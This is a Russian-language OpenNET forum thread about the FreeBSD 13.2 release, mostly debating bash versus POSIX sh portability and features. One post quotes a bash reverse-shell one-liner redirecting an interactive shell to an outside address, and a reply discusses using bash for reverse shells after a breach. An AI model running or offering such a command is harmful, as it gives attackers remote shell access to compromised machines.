The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы [ Отслеживать ]

Оглавление

Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard, opennews (??), 11-Апр-23, (0) [смотреть все]

Сообщения [Сортировка по времени | RSS]


47. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (6), 11-Апр-23, 15:02 
И таки чем башизмы так плохи, если ими пользуются там где есть баш?
Ответить | Правка | Наверх | Cообщить модератору

72. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от 1 (??), 11-Апр-23, 16:07 
нет баша - нет башизмов же !

В dash я башизмов не нашёл.

Ответить | Правка | Наверх | Cообщить модератору

94. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (32), 11-Апр-23, 19:40 
Зато Bourne Shell-фашизм.
Ответить | Правка | Наверх | Cообщить модератору

88. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от OpenEcho (?), 11-Апр-23, 19:30 
> И таки чем башизмы так плохи, если ими пользуются там где есть баш?

bash -i >& /dev/udp/8.8.8.8/1337 0>&1

Ответить | Правка | К родителю #47 | Наверх | Cообщить модератору

208. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (65), 12-Апр-23, 14:58 
О да, а теперь попробуйте так с другим шелом. Если вы хотели сказать что от невозможности это делать секурити повышается, это врядли: позовет вредный скрипт какую-то программу и через нее данные скинет/получит, какая разница. Просто чуть неудобнее. Тут уж или скрипт доверяемый или нет, шелл не создан для запуска недоверяемых скриптов.
Ответить | Правка | Наверх | Cообщить модератору

232. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от OpenEcho (?), 12-Апр-23, 21:05 
> Тут уж или скрипт доверяемый или нет, шелл не создан для запуска недоверяемых скриптов.

Причем тут скрипты, если баш а также его друг gawk для всех 755, то не надо никаких скриптов вообще чтоб быстро и просто сделать реверсе шелл на машину где нашли дыру и все что надо сделать чтоб подключится с коmфортом - это наличие /bin/bash


Ответить | Правка | Наверх | Cообщить модератору

246. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (-), 13-Апр-23, 09:48 
> надо сделать чтоб подключится с коmфортом - это наличие /bin/bash

Вы так говорите как будто без баша атакующий обломается. Вообще, использование именно баш в качестве именно реверс шелла далеко не самый массовый вариант как это делается.

И если уж предъявлять что-то такое то скорее вон тем, которые по DHCP рут раздавали. Но там претензия в целом к скриптозамесу который делал что-то неадекватное передавая кучу параметров исходящих из внешнего мира через скриптоту, что вообще совсем не безопасно.

Ответить | Правка | Наверх | Cообщить модератору

118. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от fumanchez (ok), 11-Апр-23, 22:09 
bash не дает каких-то киллер фич, чтобы его брать заместо позиксного sh, ломая тем самым совместимость
Ответить | Правка | К родителю #47 | Наверх | Cообщить модератору

125. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от _ (??), 12-Апр-23, 00:45 
"ПионЭры! Идите в ..."(С) Фаина наше всио Раневская

Я вот (в отличии от тебя) на реальных биг-айрон униках работал, и чем баш хуже - не вижу.
Он _был_ хуже тем, что такие как ты в писали на баше, а в шебанг лепили борна :)

PS: А теперь - наборот :)

Ответить | Правка | Наверх | Cообщить модератору

219. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Чукча (?), 12-Апр-23, 16:58 
Может получение фрагмента строки и замена подстроки эти самые фичи?
Ответить | Правка | К родителю #118 | Наверх | Cообщить модератору

231. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от fumanchez (ok), 12-Апр-23, 19:35 
В sh есть удаление префиксов и суффиксов, вместо которых обычно вставляют другой, и этого достаточно, чтобы, например, подставить другое расширение файлу или поменять /usr на /usr/local. Ну а более сложные подстановки делаются через пайп в sed.
Ответить | Правка | Наверх | Cообщить модератору

344. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Sem (??), 15-Апр-23, 04:21 
> bash не дает каких-то киллер фич

Массивы?

Ответить | Правка | К родителю #118 | Наверх | Cообщить модератору

347. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от fumanchez (ok), 15-Апр-23, 11:21 
И чем for по массиву отличается от for по разделенным пробелом или другим IFS словам? Другие программы также на выходе никаких массивов не дают и в качестве аргументов их не принимают - шелл это про текст и его интерпретацию.
Ответить | Правка | Наверх | Cообщить модератору

397. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (397), 16-Апр-23, 23:44 
У меня пробелы в значениях.
Ответить | Правка | Наверх | Cообщить модератору

399. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от fumanchez (ok), 17-Апр-23, 00:18 
Заключай значения в кавычки, экранируй пробелы, используй другой IFS. В bash это работает абсолютно так же.
Ответить | Правка | Наверх | Cообщить модератору

135. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от Ivan_83 (ok), 12-Апр-23, 05:15 
Тем что баш есть далеко не везде и переносимость таким скриптов стремится к нулю.
Ответить | Правка | К родителю #47 | Наверх | Cообщить модератору

142. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (65), 12-Апр-23, 05:58 
> Тем что баш есть далеко не везде и переносимость таким скриптов стремится к нулю.

Установить bash можно под почти что угодно напоминающее позиксную операционку.

Ответить | Правка | Наверх | Cообщить модератору

174. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +1 +/
Сообщение от Ivan_83 (ok), 12-Апр-23, 08:21 
Установить может и можно, но смысла нет.
Проще сразу написать скрипт который будет работать везде.
Ответить | Правка | Наверх | Cообщить модератору

207. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от Аноним (65), 12-Апр-23, 14:52 
> Установить может и можно, но смысла нет.
> Проще сразу написать скрипт который будет работать везде.

Кому как. В баше есть удобные плюшки и с точки зрения кодинга удобно ими попользоваться. И если кому скрипт нужен, поставят баш, не развалятся. А развалятся - значит им не очень надо было. Если они денег не платили то и фиг с ними и их причудами.

В стартовых скриптах оно конечно нафиг не. Там вообще системд так то поприятней смотрится. Потому что гораздо лучше когда это конфигурация а не логика. Избавляет от нужды в чужие художества лишний раз смотреть.

Ответить | Правка | Наверх | Cообщить модератору

365. "Релиз FreeBSD 13.2 с поддержкой Netlink и WireGuard"  +/
Сообщение от _ (??), 15-Апр-23, 18:43 
> Установить может и можно, но смысла нет.

потому что в 2023-ем если в системе есть шелл - то это скоее всего баш. ТЧК.

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру